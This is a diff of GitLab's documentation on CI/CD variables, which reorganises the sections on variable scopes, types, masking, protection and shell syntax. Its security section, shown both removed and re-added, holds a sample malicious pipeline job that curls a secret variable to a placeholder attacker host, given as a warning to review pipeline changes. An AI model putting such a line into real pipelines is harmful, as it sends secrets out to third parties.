diff options
Diffstat (limited to 'doc/ci/variables/README.md')
| -rw-r--r-- | doc/ci/variables/README.md | 597 |
1 files changed, 256 insertions, 341 deletions
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 5da501d4d8b..c366c032a4e 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -7,14 +7,18 @@ type: reference # GitLab CI/CD variables **(FREE)** -CI/CD variables are part of the environment in which [pipelines](../pipelines/index.md) -and jobs run. For example, you could: +CI/CD variables are a type of environment variable. You can use them to: -- Use the value of a `TEMP` variable to know the correct location to store temporary files. -- Use a `DATABASE_URL` variable for the URL to a database that can be reused in different scripts. +- Control the behavior of jobs and [pipelines](../pipelines/index.md). +- Store values you want to re-use. +- Avoid hard-coding values in your `.gitlab-ci.yml` file. -Variables can be used to customize your jobs in [GitLab CI/CD](../README.md). -When you use variables, you don't have to hard-code values. +You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: + +- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- [Project CI/CD variables](#project-cicd-variables). +- [Group CI/CD variables](#group-cicd-variables). +- [Instance CI/CD variables](#instance-cicd-variables). > For more information about advanced use of GitLab CI/CD: > @@ -26,24 +30,14 @@ When you use variables, you don't have to hard-code values. ## Predefined CI/CD variables GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md) -that you can use without any additional specification. -You can call issue numbers, user names, branch names, -pipeline and commit IDs, and much more. - -Predefined variables are provided by GitLab for the local environment of the runner. - -GitLab reads the `.gitlab-ci.yml` file and sends the information -to the runner, where the variables are exposed. The runner then runs the script commands. +you can use in pipelines configuration and job scripts. ### Use predefined CI/CD variables -You can choose one of the existing predefined CI/CD variables -to be output by the runner. +You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. -This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`. - -In your `.gitlab-ci.yml` file, call the variable from your script. Ensure -you use the correct [syntax](#syntax-of-cicd-variables-in-job-scripts). +This example shows how to output a job's stage by using the `CI_JOB_STAGE` +predefined variable: ```yaml test_variable: @@ -52,60 +46,101 @@ test_variable: - echo $CI_JOB_STAGE ``` -In this case, the runner outputs the `stage` for the -job `test_variable`, which is `test`: +The script outputs the `stage` for the `test_variable`, which is `test`:  ## Custom CI/CD variables -When you need a specific custom variable, you can -[set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md), -or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml). +You can create custom CI/CD variables: + +- For a project: + - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). + - [In the project's settings](#project-cicd-variables). + - [With the API](../../api/project_level_variables.md). +- For all projects in a group [in the group's setting](#group-cicd-variables). +- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables). -The variables are used by the runner any time the pipeline runs. -You can also [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), +You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). -There are two types of variables: **Variable** and **File**. You cannot set types in -the `.gitlab-ci.yml` file, but you can set them in the UI and API. +There are two types of variables: [`File` or `Variable`](#cicd-variable-types). -### Create a custom variable in `.gitlab-ci.yml` +### Create a custom CI/CD variable in the `.gitlab-ci.yml` file -To create a custom `env_var` variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file, -define the variable/value pair under `variables`: +To create a custom variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file, +define the variable and value with `variables` keyword. + +You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file. +If the variable is at the top level, it's globally available and all jobs can use it. +If it's defined in a job, only that job can use it. ```yaml variables: - TEST: "HELLO WORLD" + TEST_VAR: "All jobs can use this variable's value" + +job1: + variables: + TEST_VAR_JOB: "Only job1 can use this variable's value" + script: + - echo $TEST_VAR and $TEST_VAR_JOB ``` -You can then call its value in your script: +Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project +configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are +visible in the repository. Store sensitive variables containing secrets, keys, and so on +in project settings. + +Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md). + +If you don't want globally defined variables to be available in a job, set `variables` +to `{}`: ```yaml +job1: + variables: {} + script: + - echo This job does not need any variables +``` + +You can use variables to help define other variables. Use `$$` to ignore a variable +name inside another variable: + +```yaml +variables: + FLAGS: '-al' + LS_CMD: 'ls $FLAGS $$TMP_DIR' script: - - echo "$TEST" + - 'eval $LS_CMD' # Executes 'ls -al $TMP_DIR' ``` -For more details, see [`.gitlab-ci.yml` defined variables](#gitlab-ciyml-defined-variables). +Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) +keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). -### Create a custom variable in the UI +### Project CI/CD variables -From the UI, you can add or update custom variables: +You can add CI/CD variables to a project's settings. Only project members with +[maintainer permissions](../../user/permissions.md#project-members-permissions) +can add or update project CI/CD variables. To keep a CI/CD variable secret, put it +in the project settings, not in the `.gitlab-ci.yml` file. -1. Go to your project's **Settings > CI/CD** and expand the **Variables** section. -1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details: +To add or update variables in the project settings: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - - **Value**: No limitations. - - **Type**: `File` or `Variable`. - - **Environment scope**: `All`, or specific [environments](../environments/index.md). - - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements). +1. Go to your project's **Settings > CI/CD** and expand the **Variables** section. +1. Select the **Add Variable** button and fill in the details: -After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button. + - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. + - **Value**: No limitations. + - **Type**: [`File` or `Variable`](#cicd-variable-types). + - **Environment scope**: `All`, or specific [environments](../environments/index.md). + - **Protect variable** (Optional): If selected, the variable is only available + in pipelines that run on protected branches or tags. + - **Mask variable** (Optional): If selected, the variable's **Value** is masked + in job logs. The variable fails to save if the value does not meet the + [masking requirements](#mask-a-cicd-variable). -After you set a variable, call it from the `.gitlab-ci.yml` file: +After you create a variable, you can use it in the `.gitlab-ci.yml` file: ```yaml test_variable: @@ -121,114 +156,177 @@ The output is:  -Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). +### Group CI/CD variables -#### Security +To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables. +Use group variables to store secrets like passwords, SSH keys, and credentials, if you: -All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before: +- Do **not** use an external key store. +- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). -- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). -- Merging the changes. +To add a group variable: -Here is a simplified example of a malicious `.gitlab-ci.yml`: +1. In the group, go to **Settings > CI/CD**. +1. Select the **Add Variable** button and fill in the details: -```yaml -build: - script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" -``` + - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. + - **Value**: No limitations. + - **Type**: [`File` or `Variable`](#cicd-variable-types). + - **Protect variable** (Optional): If selected, the variable is only available + in pipelines that run on protected branches or tags. + - **Mask variable** (Optional): If selected, the variable's **Value** is masked + in job logs. The variable fails to save if the value does not meet the + [masking requirements](#mask-a-cicd-variable). -### Custom CI/CD variables of type Variable +To view the group-level variables available in a project: -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. +1. In the project, go to **Settings > CI/CD**. +1. Expand the **Variables** section. + +Variables from [subgroups](../../user/group/subgroups/index.md) are recursively +inherited. + + + +### Instance CI/CD variables -For variables with the type **Variable**, the runner creates an environment variable -that uses the key for the name and the value for the value. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. -There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type, -which may be further validated. They appear when you add or update a variable in the UI. +To make a CI/CD variable available to all projects and groups in a GitLab instance, +define an instance CI/CD variable. -### Custom CI/CD variables of type File +You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). + +To add an instance variable: + +1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. +1. Select the **Add variable** button, and fill in the details: + + - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. + - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), + 10,000 characters is allowed. This is also bounded by the limits of the selected + runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed. + - **Type**: [`File` or `Variable`](#cicd-variable-types). + - **Protect variable** (Optional): If selected, the variable is only available + in pipelines that run on protected branches or tags. + - **Mask variable** (Optional): If selected, the variable's **Value** is not shown + in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable). + +### CI/CD variable types > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **File**, the runner creates an environment variable that uses the key for the name. -For the value, the runner writes the variable value to a temporary file and uses this path. +All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file +are `Variable` type. Project, group and instance CI/CD variables can be `Variable` +or `File` type. + +`Variable` type variables: + +- Consist of a key and value pair. +- Are made available in jobs as environment variables, with: + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value as the environment variable value. + +Use `File` type CI/CD variables for tools that need a file as input. + +`File` type variables: + +- Consist of a key, value and file. +- Are made available in jobs as environment variables, with + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value saved to a temporary file. + - The path to the temporary file as the environment variable value. -You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -to customize your configuration by using **File** type variables. +use `File` type variables for configuration. -Previously, a common pattern was to read the value of a CI/CD variable, save it in a file, and then -use that file in your script: +For example, if you have the following variables: + +- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. +- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. + +Use the variables in a job script like this: ```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" ``` -Instead of this, you can use a **File** type variable. For example, if you have the following variables: +An alternative to `File` type variables is to: -- A variable of type **Variable**: `KUBE_URL` with the value `https://example.com`. -- A variable of type **File**: `KUBE_CA_PEM` with a certificate as the value. - -You can call them from `.gitlab-ci.yml`, like this: +- Read the value of a CI/CD variable (`variable` type). +- Save the value in a file. +- Use that file in your script. ```shell -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" +# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file +echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" +# Pass the newly created file to kubectl +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" ``` -### Mask a custom variable +### Mask a CI/CD variable > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10 -Variables can be masked so that the value of the variable is hidden in job logs. +You can mask a project, group, or instance CI/CD variable so the value of the variable +does not display in job logs. To mask a variable: -1. Go to **Settings > CI/CD**. +1. Go to **Settings > CI/CD** in the project, group or instance admin area. 1. Expand the **Variables** section. -1. Next to the variable you want to protect, click **Edit**. +1. Next to the variable you want to protect, select **Edit**. 1. Select the **Mask variable** check box. -1. Click **Update variable**. - -#### Masked variable requirements +1. Select **Update variable**. The value of the variable must: -- Be in a single line. -- Be at least 8 characters long. -- Not be a predefined or custom CI/CD variable. -- Consist only of: +- Be a single line. +- Be 8 characters or longer, consisting only of: - Characters from the Base64 alphabet (RFC4648). - The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later). - The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later). +- Not match the name of an existing predefined or custom CI/CD variable. -You can't mask variables that don't meet these requirements. +### Protect a CI/CD variable -### Protect a custom variable - -> Introduced in GitLab 9.3. - -Variables can be protected. When a variable is -protected, it is only passed to pipelines running on -[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get -the protected variable. +You can protect a project, group or instance CI/CD variable so it is only passed +to pipelines running on [protected branches](../../user/project/protected_branches.md) +or [protected tags](../../user/project/protected_tags.md). To protect a variable: -1. Go to **Settings > CI/CD**. +1. Go to **Settings > CI/CD** in the project, group or instance admin area. 1. Expand the **Variables** section. -1. Next to the variable you want to protect, click **Edit**. +1. Next to the variable you want to protect, select **Edit**. 1. Select the **Protect variable** check box. -1. Click **Update variable**. +1. Select **Update variable**. The variable is available for all subsequent pipelines. +### CI/CD variable security + +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables +and send them to a third party server regardless of the masked setting. If the pipeline +runs on a [protected branch](../../user/project/protected_branches.md) or +[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. + +Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: + +- [Run a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). +- Merge the changes. + +The following example shows malicious code in a `.gitlab-ci.yml` file: + +```yaml +build: + script: + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" +``` + ### Custom variables validated by GitLab Some variables are listed in the UI so you can choose them more quickly. @@ -240,26 +338,21 @@ Some variables are listed in the UI so you can choose them more quickly. | `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | WARNING: -When you store credentials, there are security implications. If you are using AWS keys, -for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). +When you store credentials, there are [security implications](#cicd-variable-security). +If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). -## Syntax of CI/CD variables in job scripts +## Use CI/CD variables in job scripts -All variables are set as environment variables in the build environment, and -they are accessible with normal methods that are used to access such variables. -In most cases `bash` or `sh` is used to execute the job script. +All CI/CD variables are set as environment variables in the job's environment. +You can use variables in job scripts with the standard formatting for each environment's +shell. -To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/). +To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/). -| Shell | Usage | -|----------------------|------------------------------------------| -| bash/sh | `$variable` | -| PowerShell | `$env:variable` (primary) or `$variable` | -| Windows Batch | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. | +### Use variables with Bash, `sh` and similar -### Bash - -To access environment variables in **bash**, prefix the CI/CD variable name with (`$`): +To access environment variables in Bash, `sh`, and similar shells, prefix the +CI/CD variable with (`$`): ```yaml job_name: @@ -267,13 +360,10 @@ job_name: - echo $CI_JOB_ID ``` -### PowerShell +### Use variables with PowerShell -To access variables in a **Windows PowerShell** environment, including system set -environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables -can also be accessed by prefixing the variable name with (`$`) with -[GitLab Runner 1.0.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/68) -and later. +To access variables in a Windows PowerShell environment, including environment +variables set by the system, prefix the variable name with (`$env:`) or (`$`): ```yaml job_name: @@ -284,7 +374,7 @@ job_name: ``` In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820) -environment variables may need to be surrounded by quotes to expand properly: +environment variables might need to be surrounded by quotes to expand properly: ```yaml job_name: @@ -294,8 +384,8 @@ job_name: ### Windows Batch -To access environment variables in **Windows Batch**, surround the variable -with (`%`): +To access environment variables in Windows Batch, surround the variable +with `%`: ```yaml job_name: @@ -303,34 +393,45 @@ job_name: - echo %CI_JOB_ID% ``` +You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html). +Delayed expansion might be needed for variables that contain white spaces or newlines. + +```yaml +job_name: + script: + - echo !ERROR_MESSAGE! +``` + ### List all environment variables -You can also list all environment variables with the `export` command in Bash -or `dir env:` command in PowerShell. -Be aware that this also exposes the values of all the variables -you set, in the job log: +You can list all environment variables available to a script with the `export` command +in Bash or `dir env:` in PowerShell. This exposes the values of **all** available +variables, which can be a [security risk](#cicd-variable-security). +[Masked variables](#mask-a-cicd-variable) display as `[masked]`. + +For example: ```yaml job_name: script: - export - # - 'dir env:' # use this for PowerShell + # - 'dir env:' # Use this for PowerShell ``` -Example values: +Example job log output: ```shell export CI_JOB_ID="50" export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" export CI_COMMIT_SHORT_SHA="1ecfd275" export CI_COMMIT_REF_NAME="master" -export CI_REPOSITORY_URL="https://gitlab-ci-token:abcde-1234ABCD5678ef@example.com/gitlab-org/gitlab-foss.git" +export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" export CI_COMMIT_TAG="1.0.0" export CI_JOB_NAME="spec:other" export CI_JOB_STAGE="test" export CI_JOB_MANUAL="true" export CI_JOB_TRIGGERED="true" -export CI_JOB_TOKEN="abcde-1234ABCD5678ef" +export CI_JOB_TOKEN="[masked]" export CI_PIPELINE_ID="1000" export CI_PIPELINE_IID="10" export CI_PAGES_DOMAIN="gitlab.io" @@ -346,7 +447,7 @@ export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss" export CI_REGISTRY="registry.example.com" export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss" export CI_REGISTRY_USER="gitlab-ci-token" -export CI_REGISTRY_PASSWORD="longalfanumstring" +export CI_REGISTRY_PASSWORD="[masked]" export CI_RUNNER_ID="10" export CI_RUNNER_DESCRIPTION="my runner" export CI_RUNNER_TAGS="docker, linux" @@ -363,114 +464,7 @@ export CI_SERVER_VERSION_MINOR="9" export CI_SERVER_VERSION_PATCH="0" export GITLAB_USER_EMAIL="user@example.com" export GITLAB_USER_ID="42" -``` - -## `.gitlab-ci.yml` defined variables - -You can add CI/CD variables to `.gitlab-ci.yml`. These variables are saved in the repository, -and they are meant to store non-sensitive project configuration, like `RAILS_ENV` or -`DATABASE_URL`. - -For example, if you set the variable below globally (not inside a job), it is -used in all executed commands and scripts: - -```yaml -variables: - DATABASE_URL: "postgres://postgres@postgres/my_database" -``` - -The YAML-defined variables are also set to all created -[service containers](../docker/using_docker_images.md), so that you can fine -tune them. - -Variables can be defined at a global level, but also at a job level. To turn off -global defined variables in your job, define an empty hash: - -```yaml -job_name: - variables: {} -``` - -You are able to use other variables inside your variable definition (or escape them with `$$`): - -```yaml -variables: - LS_CMD: 'ls $FLAGS $$TMP_DIR' - FLAGS: '-al' -script: - - 'eval $LS_CMD' # will execute 'ls -al $TMP_DIR' -``` - -Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) -keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) -when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually): - -## Group-level CI/CD variables - -> Introduced in GitLab 9.4. - -You can define per-project or per-group variables that are set in the pipeline environment. -Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`). -They are securely passed to GitLab Runner, which makes them available during a pipeline run. - -We recommend using group variables to store secrets (like passwords, SSH keys, and -credentials) for users who: - -- Do **not** use an external key store. -- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). - -Group-level variables can be added by: - -1. Navigating to your group's **Settings > CI/CD** page. -1. Inputting variable types, keys, and values in the **Variables** section. - Any variables of [subgroups](../../user/group/subgroups/index.md) are inherited recursively. - -After you set them, they are available for all subsequent pipelines. Any group-level user defined variables can be viewed in projects by: - -1. Navigating to the project's **Settings > CI/CD** page. -1. Expanding the **Variables** section. - - - -## Instance-level CI/CD variables - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. - -Instance variables are useful for no longer needing to manually enter the same credentials repeatedly for all your projects. Instance-level variables are available to all projects and groups on the instance. - -In GitLab 13.1 and later, the [maximum number of instance-level variables is 25](https://gitlab.com/gitlab-org/gitlab/-/issues/216097). - -You can define instance-level variables via the UI or [API](../../api/instance_level_ci_variables.md). - -To add an instance-level variable: - -1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. -1. Click the **Add variable** button, and fill in the details: - - - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. - - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed. - - **Type**: `File` or `Variable`. - - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements). - -After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button. - -### Enable or disable UI interface for instance-level CI/CD variables - -The UI interface for Instance-level CI/CD variables is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can opt to disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:instance_variables_ui) -``` - -To enable it: - -```ruby -Feature.enable(:instance_variables_ui) +... ``` ## Inherit CI/CD variables @@ -530,9 +524,9 @@ The order of precedence for variables is (from highest to lowest): 1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables), and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline). -1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-custom-variable). -1. Group-level [variables](#group-level-cicd-variables) or [protected variables](#protect-a-custom-variable). -1. Instance-level [variables](#instance-level-cicd-variables) or [protected variables](#protect-a-custom-variable). +1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-cicd-variable). +1. Group-level [variables](#group-cicd-variables) or [protected variables](#protect-a-cicd-variable). +1. Instance-level [variables](#instance-cicd-variables) or [protected variables](#protect-a-cicd-variable). 1. [Inherited CI/CD variables](#inherit-cicd-variables). 1. YAML-defined [job-level variables](../yaml/README.md#variables). 1. YAML-defined [global variables](../yaml/README.md#variables). @@ -568,8 +562,6 @@ To learn more about scoping environments, see [Scoping environments with specs]( ### Deployment variables -> Introduced in GitLab 8.15. - [Integrations](../../user/project/integrations/overview.md) that are responsible for deployment configuration may define their own variables that are set in the build environment. These variables are only defined for @@ -633,7 +625,7 @@ You can override the value of a current variable by For instance, suppose you added a custom variable named `$TEST` and you want to override it in a manual pipeline. -Navigate to your project's **CI/CD > Pipelines** and click **Run pipeline**. +Go to your project's **CI/CD > Pipelines** and select **Run pipeline**. Choose the branch you want to run the pipeline for, then add a variable and its value in the UI:  @@ -649,7 +641,7 @@ value for this specific pipeline. > - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules) Use variable expressions to limit which jobs are created -within a pipeline after changes are pushed to GitLab. +in a pipeline after changes are pushed to GitLab. In `.gitlab-ci.yml`, variable expressions work with both: @@ -774,11 +766,8 @@ so `&&` is evaluated before `||`. #### Parentheses -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3 -> - It's deployed behind a feature flag, enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(FREE SELF)** +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5. It is possible to use parentheses to group conditions. Parentheses have the highest precedence of all operators. Expressions enclosed in parentheses are evaluated first, @@ -794,24 +783,6 @@ Examples: - `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3` - `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)` -##### Enable or disable parenthesis support for variables **(FREE SELF)** - -The feature is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:ci_if_parenthesis_enabled) -``` - -To enable it: - -```ruby -Feature.enable(:ci_if_parenthesis_enabled) -``` - ### Storing regular expressions in variables It is possible to store a regular expression in a variable, to be used for pattern matching. @@ -834,7 +805,7 @@ The available regular expression syntax is limited. See [related issue](https:// for more details. If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly, -as well as from within a variable: +as well as from in a variable: ```yaml variables: @@ -884,8 +855,8 @@ With restricted access to debug logging, only users with [developer or higher permissions](../../user/permissions.md#project-members-permissions) can view job logs when debug logging is enabled with a variable in: -- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables). -- The CI/CD variables set within the GitLab UI. +- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- The CI/CD variables set in the GitLab UI. WARNING: If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible @@ -941,10 +912,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655 ++ export CI_JOB_TOKEN=[MASKED] ++ CI_JOB_TOKEN=[MASKED] -++ export CI_BUILD_ID=379424655 -++ CI_BUILD_ID=379424655 -++ export CI_BUILD_TOKEN=[MASKED] -++ CI_BUILD_TOKEN=[MASKED] ++ export CI_REGISTRY_USER=gitlab-ci-token ++ CI_REGISTRY_USER=gitlab-ci-token ++ export CI_REGISTRY_PASSWORD=[MASKED] @@ -957,10 +924,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_JOB_STAGE=test ++ export CI_NODE_TOTAL=1 ++ CI_NODE_TOTAL=1 -++ export CI_BUILD_NAME=debug_trace -++ CI_BUILD_NAME=debug_trace -++ export CI_BUILD_STAGE=test -++ CI_BUILD_STAGE=test ++ export CI=true ++ CI=true ++ export GITLAB_CI=true @@ -975,16 +938,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ++ CI_SERVER_PROTOCOL=https ++ export CI_SERVER_NAME=GitLab ++ CI_SERVER_NAME=GitLab -++ export CI_SERVER_VERSION=12.6.0-pre -++ CI_SERVER_VERSION=12.6.0-pre -++ export CI_SERVER_VERSION_MAJOR=12 -++ CI_SERVER_VERSION_MAJOR=12 -++ export CI_SERVER_VERSION_MINOR=6 -++ CI_SERVER_VERSION_MINOR=6 -++ export CI_SERVER_VERSION_PATCH=0 -++ CI_SERVER_VERSION_PATCH=0 -++ export CI_SERVER_REVISION=f4cc00ae823 -++ CI_SERVER_REVISION=f4cc00ae823 ++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,re